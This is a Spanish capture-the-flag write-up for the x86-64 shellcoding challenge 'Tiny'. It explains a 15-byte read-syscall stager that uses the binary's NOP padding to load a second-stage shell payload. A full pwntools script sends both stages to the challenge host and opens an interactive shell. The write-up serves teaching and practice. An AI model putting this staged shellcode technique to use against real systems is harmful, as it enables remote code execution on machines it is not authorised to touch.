Tiny
Categoría: Pwn / Shellcoding Arquitectura: x86-64 (amd64) Etiquetas: Shellcoding, Stager, Segmentos RWX
Resumen Ejecutivo
El objetivo de este desafío consistía en explotar un servicio binario que ejecuta código suministrado por el usuario. La restricción principal era un límite estricto de entrada de 20 bytes, espacio insuficiente para un shellcode estándar en arquitectura x86-64 (que típicamente requiere 27-30 bytes para execve). La solución implicó el desarrollo de un Stager personalizado de 15 bytes para invocar una llamada al sistema read secundaria, permitiendo la inyección de un payload de mayor tamaño sin restricciones.
Reconocimiento y Análisis
Análisis Estático
El binario es un ejecutable ELF de 64 bits. El código fuente de ghidra indica el siguiente comportamiento:
- Asignación de Memoria: Utiliza
mmappara asignar una página de memoria con permisosPROT_READ | PROT_WRITE | PROT_EXEC(RWX). - Manejo de Entrada: Lee hasta 20 bytes desde la entrada estándar hacia esta memoria ejecutable.
- Mecanismo de Relleno: Críticamente, si la entrada es menor a 20 bytes, el espacio restante se rellena automáticamente con
0x90(instrucciones NOP). - Ejecución: El programa salta al inicio del buffer de memoria para ejecutar las instrucciones.
Las Restricciones
- Límite de Espacio: 20 bytes.
- Objetivo: Obtener ejecución remota de código (RCE) o leer la flag.
- Obstáculo: Un shellcode estándar para ejecutar
execve("/bin/sh", 0, 0)requiere configurar los registrosRAX,RDI,RSIyRDX, además de cargar la cadena “/bin/sh”. Esta operación excede el buffer disponible.
Estrategia de Explotación
Para eludir la restricción de tamaño, se empleó una técnica de explotación en dos fases.
Fase 1: El Stager
Se diseñó un fragmento de código ensamblador (Stager) que se ajusta al límite. Su único propósito es invocar la llamada al sistema sys_read para leer un segundo payload más grande en memoria.
Configuración de Registros para sys_read (syscall 0):
RAX(Número de Syscall): 0RDI(Descriptor de Archivo): 0 (stdin)RSI(Buffer): Dirección donde se escribirá el nuevo código.RDX(Cantidad): Número de bytes a leer.
Ensamblador Optimizado (15 bytes):
xor edi, edi ; RDI = 0mul edi ; RAX = 0, RDX = 0mov dl, 0xff ; RDX = 255lea rsi, [rip+7] ; RSI = Dirección relativa (Offset 20)syscall ; Ejecutar sys_readFase 2: Alineación de Memoria y Control de Flujo
El análisis dinámico reveló que la instrucción lea combinada con el comportamiento de auto-relleno del programa proporcionaba un flujo de ejecución fiable.
- El Stager (Bytes 0-14): Ocupa los primeros 15 bytes.
- El Relleno (Bytes 15-19): El binario llena los 5 bytes restantes con
0x90(NOPs). - El Objetivo (Byte 20): La instrucción
lea rsi, [rip+7]calcula la dirección exacta en el offset 20 (justo después del bloque asignado).
Al ejecutarse el syscall, el programa pausa esperando entrada. Al enviar el segundo payload:
- El
readescribe el Shellcode comenzando en el Byte 20. - El puntero de instrucción (RIP) continúa la ejecución.
- Se desliza a través de los NOPs (Bytes 15-19).
- Ejecuta el Shellcode secundario en el Byte 20 sin errores de alineación ni excepciones
SIGILL.
Detalles de Conexión Remota
El servicio objetivo estaba alojado en un puerto TCP envuelto en SSL/TLS. El exploit requirió configuraciones específicas en la librería pwntools (ssl=True, sni=HOST) para gestionar el handshake correctamente.
Código del Exploit
El siguiente script en Python utiliza la librería pwntools para automatizar el ataque.
from pwn import *import time
context.arch = 'amd64'HOST = 'd8b4d5c4eb85acbd.chal.ctf.ae'PORT = 443
def main(): log.info(f"Conectando a {HOST}:{PORT}...")
try: io = remote(HOST, PORT, ssl=True, sni=HOST) except Exception as e: log.error(f"Fallo de conexión: {e}") return
io.recvuntil(b"exec service.\n")
# --- FASE 1: Stager (15 bytes) --- # Lee 255 bytes adicionales y los escribe en el offset 20 stager = asm(""" xor edi, edi mul edi mov dl, 0xff lea rsi, [rip+7] syscall """)
log.info(f"Enviando Stager ({len(stager)} bytes)...") io.send(stager)
# Latencia para permitir el procesamiento del syscall time.sleep(1)
# --- FASE 2: Payload Completo --- # Shellcode estándar x64. Se escribirá después del padding de NOPs. payload = asm(shellcraft.sh())
log.info(f"Enviando Payload ({len(payload)} bytes)...") io.send(payload)
log.success("Exploit enviado. Iniciando sesión interactiva.") io.clean() io.interactive()
if __name__ == "__main__": main()Conclusión
Este desafío demostró la importancia de la manipulación precisa de registros y la alineación de memoria en entornos restringidos. Al comprender el comportamiento subyacente del binario (específicamente el relleno con NOPs) y utilizar un mecanismo de carga en dos fases, se logró eludir la limitación de 20 bytes para conseguir la ejecución remota de código.